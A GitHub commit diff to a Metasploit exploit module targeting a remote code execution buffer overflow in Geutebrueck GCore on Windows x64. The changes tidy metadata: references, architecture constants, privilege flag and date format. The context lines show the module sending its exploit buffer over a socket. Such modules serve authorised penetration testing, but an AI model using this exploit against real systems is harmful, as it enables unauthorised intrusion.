Update geutebrueck_gcore_x64_rce_bo.rb

Review changes with msftidy.
master
M4P0 2017-07-21 11:37:12 +02:00 committed by GitHub
parent d5fd620fbb
commit c187f709dc
1 changed files with 7 additions and 8 deletions

View File

@ -3,7 +3,6 @@
# Current source: https://github.com/rapid7/metasploit-framework # Current source: https://github.com/rapid7/metasploit-framework
## ##
require 'msf/core'
require 'nokogiri' require 'nokogiri'
require 'open-uri' require 'open-uri'
@ -24,21 +23,22 @@ class MetasploitModule < Msf::Exploit::Remote
], ],
'References' => 'References' =>
[ [
['www.geutebrueck.com', ''] ['EDB','41153'],
['URL','www.geutebrueck.com']
], ],
'Platform' => 'win', 'Platform' => 'win',
'Targets' => 'Targets' =>
[ [
['Automatic Targeting', { 'auto' => true, 'Arch' => ARCH_X86_64 }], ['Automatic Targeting', { 'auto' => true, 'Arch' => ARCH_X64 }],
['GCore 1.3.8.42, Windows x64 (Win7, Win8/8.1, Win2012R2,...)', { 'Arch' => ARCH_X86_64 }], ['GCore 1.3.8.42, Windows x64 (Win7, Win8/8.1, Win2012R2,...)', { 'Arch' => ARCH_X64}],
['GCore 1.4.2.37, Windows x64 (Win7, Win8/8.1, Win2012R2,...)', { 'Arch' => ARCH_X86_64 }] ['GCore 1.4.2.37, Windows x64 (Win7, Win8/8.1, Win2012R2,...)', { 'Arch' => ARCH_X64}]
], ],
'Payload' => 'Payload' =>
{ {
'Space' => '2000' 'Space' => '2000'
}, },
'Privileged' => false, 'Privileged' => true,
'DisclosureDate' => '2017-01-24', 'DisclosureDate' => 'Jan 24 2017',
'DefaultTarget' => 0)) 'DefaultTarget' => 0))
end end
@ -272,7 +272,6 @@ class MetasploitModule < Msf::Exploit::Remote
print_status('Exploit ready for sending...') print_status('Exploit ready for sending...')
sock.put(exploit, 'Timeout' => 20) sock.put(exploit, 'Timeout' => 20)
print_status('Exploit sent!') print_status('Exploit sent!')
# sleep(10)
buf = sock.get_once || '' buf = sock.get_once || ''
rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}") elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")